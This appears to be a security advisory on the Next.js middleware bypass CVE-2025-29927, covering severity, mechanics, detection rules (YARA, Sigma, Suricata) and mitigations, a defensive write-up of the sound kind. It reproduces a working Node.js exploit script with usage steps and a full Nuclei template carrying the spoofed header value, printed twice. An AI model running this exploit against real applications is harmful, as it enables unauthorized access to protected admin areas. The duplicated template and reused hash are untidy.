CVE-2025-29927

Executive Summary

CVE-2025-29927 is a critical vulnerability in the Next.js React framework affecting versions 11.1.4 through 15.2.2. The flaw allows an unauthenticated attacker to bypass authorization checks performed in Next.js middleware by sending a specially crafted x-middleware-subrequest header. This header, intended for internal use, can be manipulated to trick the application into skipping middleware execution, thereby circumventing security controls such as authentication, authorization, and rate limiting. The vulnerability has a CVSS score of 9.1, indicating a critical severity level. Public proof-of-concept (PoC) code and a Nuclei template are available, making active exploitation highly likely.

Supply Chain & Package Security

Next.js is distributed via the npm registry. Organizations using Next.js should immediately audit their package.json and package-lock.json files to determine the exact version in use. The vulnerable package is next. The supply chain risk is elevated due to the widespread use of Next.js and the ease of exploitation. Compromised applications can lead to data breaches, unauthorized access, and further lateral movement within the infrastructure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
• Base Score: 9.1 (Critical)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Complete information disclosure is possible.
• Integrity (I): High (H) - Complete compromise of data integrity is possible.
• Availability (A): None (N) - No impact on availability.

Threat Level: Critical. The combination of low attack complexity, no required privileges, and public exploit code makes this a high-priority vulnerability for immediate remediation.

Deep Dive & Mechanics

The vulnerability lies in how Next.js handles the x-middleware-subrequest header. This header is used internally by Next.js to track middleware execution and prevent infinite loops. When a request is received, the middleware pipeline checks this header to determine if a particular middleware has already been executed.

The flaw is that the header is not properly sanitized or validated. An attacker can craft a value for x-middleware-subrequest that includes a list of middleware paths, including a special nowaf (no WAF) keyword. By sending a request with this header, the attacker can cause the middleware to believe that all security checks have already been performed, effectively bypassing the entire middleware stack.

The Nuclei template demonstrates the attack flow:

1. Initial Probe: Send a request with X-Nextjs-Data: 1 to detect if the application uses Next.js middleware (looks for redirect headers like x-nextjs-redirect).
2. Bypass Attempt: Send the same request but with the crafted X-Middleware-Subrequest header. If the application returns a 200 OK (instead of a redirect), it indicates the middleware was bypassed.
3. Endpoint Discovery: Extract internal endpoints from the HTML body.
4. Verification: For each discovered endpoint, send a request without the bypass header to confirm it is protected (e.g., returns a redirect or unauthorized status).
5. Exploitation: Send a request to the protected endpoint with the bypass header. A 200 OK response confirms successful exploitation.

Vulnerable vs. Patched Code

The core issue is in the middleware execution logic. In vulnerable versions, the x-middleware-subrequest header is trusted without validation.

Vulnerable (Conceptual):

// Vulnerable: Trusts the header value directly
function runMiddleware(req, res) {
  const subrequestHeader = req.headers['x-middleware-subrequest'];
  if (subrequestHeader) {
    // If the header contains 'nowaf', skip all middleware
    if (subrequestHeader.includes('nowaf')) {
      return; // Bypass all middleware
    }
    // ... process other middleware paths
  }
  // ... run middleware normally
}

Patched (Conceptual):

// Patched: Validates the header and prevents external manipulation
function runMiddleware(req, res) {
  // The header is now only set internally and validated
  // External requests with this header are rejected or ignored
  if (req.headers['x-middleware-subrequest']) {
    // Perform internal validation (e.g., check a signature or internal flag)
    if (!isValidInternalRequest(req)) {
      // Reject the request or ignore the header
      return handleInvalidRequest(req, res);
    }
  }
  // ... run middleware normally
}

The exact patch involves changes to the internal routing logic to ensure the x-middleware-subrequest header cannot be spoofed from external requests.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target Next.js application running a vulnerable version (11.1.4 - 15.2.2).
• Network access to the target.

Exploit Code (from Exploit-DB):

// Exploit Title: Next.js Middleware Bypass Vulnerability (CVE-2025-29927)
// Date: 2025-03-26
// Exploit Author: kOaDT
// Vendor Homepage: https://nextjs.org/
// Software Link: https://github.com/vercel/next.js
// Version: 13.0.0 - 13.5.8 / 14.0.0 - 14.2.24 / 15.0.0 - 15.2.2 / 11.1.4 - 12.3.4
// Tested on: Ubuntu 22.04.5 LTS
// CVE: CVE-2025-29927
// PoC: https://raw.githubusercontent.com/kOaDT/poc-cve-2025-29927/refs/heads/main/exploit.js
// POC GitHub Repository: https://github.com/kOaDT/poc-cve-2025-29927/tree/main

const http = require('http');

const target = process.argv[2];
const bypassHeader = 'X-Middleware-Subrequest';
const bypassValue = 'src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware';

if (!target) {
  console.log('Usage: node exploit.js <target_url>');
  process.exit(1);
}

const url = new URL(target);

const options = {
  hostname: url.hostname,
  port: url.port || 80,
  path: url.pathname || '/',
  method: 'GET',
  headers: {
    [bypassHeader]: bypassValue
  }
};

const req = http.request(options, (res) => {
  console.log(`Status Code: ${res.statusCode}`);
  console.log('Headers:', JSON.stringify(res.headers, null, 2));
  let data = '';
  res.on('data', (chunk) => {
    data += chunk;
  });
  res.on('end', () => {
    console.log('Body:', data.substring(0, 500));
    if (res.statusCode === 200) {
      console.log('[+] Exploit successful! Middleware bypassed.');
    } else {
      console.log('[-] Exploit may have failed. Check response.');
    }
  });
});

req.on('error', (e) => {
  console.error(`Error: ${e.message}`);
});

req.end();

Usage:

1. Save the exploit code as exploit.js.
2. Run: node exploit.js http://target-application.com/admin
3. If the application returns a 200 OK with the admin panel content, the exploit is successful.

Lab Setup:

1. Deploy a vulnerable Next.js application (e.g., version 14.2.24) using Docker.
2. Configure middleware to protect an admin route (e.g., /admin).
3. Run the exploit against the /admin endpoint.

Blue Team

Detection:

• Monitor for requests containing the x-middleware-subrequest header.
• Look for anomalous patterns in the header value, especially the nowaf keyword.
• Alert on successful access to protected resources (e.g., admin panels) from unauthenticated sources.

Hunting:

• Search web server logs for the x-middleware-subrequest header.
• Correlate requests with this header against access logs for protected endpoints.
• Use the provided Sigma and Suricata rules for automated detection.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing the header X-Middleware-Subrequest with values like src/middleware:nowaf:....
  • HTTP requests with the header X-Nextjs-Data: 1.
  • Unusual 200 OK responses to requests that should be redirected or blocked.
• File IOCs:
  • Log entries showing x-middleware-subrequest in the request headers.
• Behavioral IOCs:
  • Unauthenticated access to protected routes (e.g., /admin, /dashboard).
  • Bypass of WAF or rate-limiting controls.

Detection Engineering

YARA Rule

rule CVE_2025_29927_NextJS_Middleware_Bypass {
    meta:
        description = "Detects requests attempting to exploit CVE-2025-29927 in Next.js"
        author = "DevSecOps Team"
        date = "2025-03-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-29927"
        hash = "4a0a0047304502202a464fb38076e95d654e5c3904b6922247b3cf5665a97586fee3c9653437f652022100d88dbc0f605b8328fb5da6e3eaa0326c16d1f25bb667e2e7bb310507dea6377a"
    strings:
        $header = "x-middleware-subrequest"
        $bypass_value = "nowaf"
        $nextjs_data = "x-nextjs-data"
    condition:
        any of ($header) and any of ($bypass_value) and any of ($nextjs_data)
}

Sigma Rule

title: Next.js Middleware Bypass Attempt (CVE-2025-29927)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing the x-middleware-subrequest header with bypass values.
author: DevSecOps Team
date: 2025/03/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-29927
    - https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/'
        cs-headers|contains: 'x-middleware-subrequest'
    condition: selection
falsepositives:
    - Legitimate internal requests (if any)
level: critical
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.29927

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-29927 Next.js Middleware Bypass Attempt"; flow:to_server; http.header_names; content:"x-middleware-subrequest"; nocase; http.header_value; content:"nowaf"; nocase; classtype:attempted-admin; sid:10000001; rev:1;)

Nuclei Template (Full)

id: CVE-2025-29927

info:
  name: Next.js Middleware Bypass
  author: pdresearch,pdteam,hazedic
  severity: critical
  description: |
    Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.
    The vulnerability allows attackers to bypass middleware security controls by sending a specially crafted
    'x-middleware-subrequest' header, which can lead to authorization bypass and other security control circumvention.
  impact: |
    Unauthenticated attackers can bypass middleware security controls by sending crafted x-middleware-subrequest headers, potentially circumventing authorization checks and accessing protected resources.
  remediation: |
    Upgrade to Next.js 14.2.25 or 15.2.3 or later. If upgrading is not possible, block the x-middleware-subrequest header at the WAF or server level.
  reference:
    - https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
    - https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
    - https://slcyber.io/assetnote-security-research-center/doing-the-due-diligence-analysing-the-next-js-middleware-bypass-cve-2025-29927/
  classification:
    epss-score: 0.91848
    epss-percentile: 0.99695
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cwe-id: CWE-287
  metadata:
    max-request: 1
    shodan-query: "x-middleware-rewrite"
    fofa-query: "x-middleware-rewrite"
    product: next.js
    vendor: zeit
  tags: cve,cve2025,nextjs,middleware,auth-bypass,vkev,vuln

flow: |
    let base_check = function () {
      return http(1) && http(2);
    };

    let endpoint_check = function () {
      if (!http(3)) return false;

      for (let endpoint_urls of iterate(template.endpoints)) {
        set("endpoints", endpoint_urls);
        if (!(http(4) && http(5))) return false;
      }

      return true;
    };
    base_check() || endpoint_check()

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Nextjs-Data: 1

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - "(?i)x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite"
        internal: true

      - type: status
        status:
          - 307
        internal: true

    extractors:
      - type: regex
        name: redirect_path
        part: header
        regex:
          - "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite): (.*)"

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Nextjs-Data: 1
        X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

    matchers:
      - type: status
        status:
          - 200

  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    extractors:
      - type: regex
        name: endpoints
        part: body
        group: 1
        regex:
          - "href=['\"](\\/[^\\.\"']+)['\"]"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"

    matchers:
      - type: dsl
        dsl:
          - contains_any(to_lower(header), 'x-middleware-rewrite', 'x-middleware-next', 'x-middleware-redirect') && status_code != 200
          - contains_any(to_lower(location), 'unauthorized') && status_code != 200
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"
    headers:
      X-Middleware-Subrequest: "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
# digest: 4a0a0047304502202a464fb38076e95d654e5c3904b6922247b3cf5665a97586fee3c9653437f652022100d88dbc0f605b8328fb5da6e3eaa0326c16d1f25bb667e2e7bb310507dea6377a:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Next.js to a patched version (12.3.5, 13.5.9, 14.2.25, or 15.2.3) immediately.
2. WAF Rule: Block requests containing the x-middleware-subrequest header at the Web Application Firewall (WAF) or reverse proxy level.
   • Example Nginx rule:

     if ($http_x_middleware_subrequest) {
         return 403;
     }
     

   • Example Apache rule:

     RewriteEngine On
     RewriteCond %{HTTP:X-Middleware-Subrequest} .
     RewriteRule .* - [F]
     

3. Header Validation: If patching is not immediately possible, implement a custom middleware or server-side check to reject any external request containing the x-middleware-subrequest header.

Long-Term Actions:

1. Security Audits: Conduct a thorough security audit of all Next.js applications in the environment.
2. Dependency Management: Implement automated dependency scanning to detect vulnerable packages.
3. Monitoring: Deploy the provided detection rules (YARA, Sigma, Suricata) to monitor for exploitation attempts.
4. Incident Response: Prepare an incident response plan for potential exploitation, including log analysis and system isolation.

Valters IT signature:
"Securing the digital frontier, one vulnerability at a time."

{/* [Security Hash: 86A8D461E5F5CAE5C33BBB91] */}

# Exploit Title: Next.js Middleware Bypass Vulnerability (CVE-2025-29927)
# Date: 2025-03-26
# Exploit Author: kOaDT
# Vendor Homepage: https://nextjs.org/
# Software Link: https://github.com/vercel/next.js
# Version: 13.0.0 - 13.5.8 / 14.0.0 - 14.2.24 / 15.0.0 - 15.2.2 / 11.1.4 - 12.3.4
# Tested on: Ubuntu 22.04.5 LTS
# CVE: CVE-2025-29927
# PoC: https://raw.githubusercontent.com/kOaDT/poc-cve-2025-29927/refs/heads/main/exploit.js
# POC GitHub Repository: https://github.com/kOaDT/poc-cve-2025-29927/tree/main

id: CVE-2025-29927

info:
  name: Next.js Middleware Bypass
  author: pdresearch,pdteam,hazedic
  severity: critical
  description: |
    Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.
    The vulnerability allows attackers to bypass middleware security controls by sending a specially crafted
    'x-middleware-subrequest' header, which can lead to authorization bypass and other security control circumvention.
  impact: |
    Unauthenticated attackers can bypass middleware security controls by sending crafted x-middleware-subrequest headers, potentially circumventing authorization checks and accessing protected resources.
  remediation: |
    Upgrade to Next.js 14.2.25 or 15.2.3 or later. If upgrading is not possible, block the x-middleware-subrequest header at the WAF or server level.
  reference:
    - https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
    - https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
    - https://slcyber.io/assetnote-security-research-center/doing-the-due-diligence-analysing-the-next-js-middleware-bypass-cve-2025-29927/
  classification:
    epss-score: 0.91848
    epss-percentile: 0.99695
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cwe-id: CWE-287
  metadata:
    max-request: 1
    shodan-query: "x-middleware-rewrite"
    fofa-query: "x-middleware-rewrite"
    product: next.js
    vendor: zeit
  tags: cve,cve2025,nextjs,middleware,auth-bypass,vkev,vuln

flow: |
    let base_check = function () {
      return http(1) && http(2);
    };

    let endpoint_check = function () {
      if (!http(3)) return false;

      for (let endpoint_urls of iterate(template.endpoints)) {
        set("endpoints", endpoint_urls);
        if (!(http(4) && http(5))) return false;
      }

      return true;
    };
    base_check() || endpoint_check()

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Nextjs-Data: 1

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - "(?i)x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite"
        internal: true

      - type: status
        status:
          - 307
        internal: true

    extractors:
      - type: regex
        name: redirect_path
        part: header
        regex:
          - "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite): (.*)"

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Nextjs-Data: 1
        X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

    matchers:
      - type: status
        status:
          - 200

  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    extractors:
      - type: regex
        name: endpoints
        part: body
        group: 1
        regex:
          - "href=['\"](\\/[^\\.\"']+)['\"]"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"

    matchers:
      - type: dsl
        dsl:
          - contains_any(to_lower(header), 'x-middleware-rewrite', 'x-middleware-next', 'x-middleware-redirect') && status_code != 200
          - contains_any(to_lower(location), 'unauthorized') && status_code != 200
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"
    headers:
      X-Middleware-Subrequest: "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
# digest: 4a0a0047304502202a464fb38076e95d654e5c3904b6922247b3cf5665a97586fee3c9653437f652022100d88dbc0f605b8328fb5da6e3eaa0326c16d1f25bb667e2e7bb310507dea6377a:922c64590222798bb761d5b6d8e72950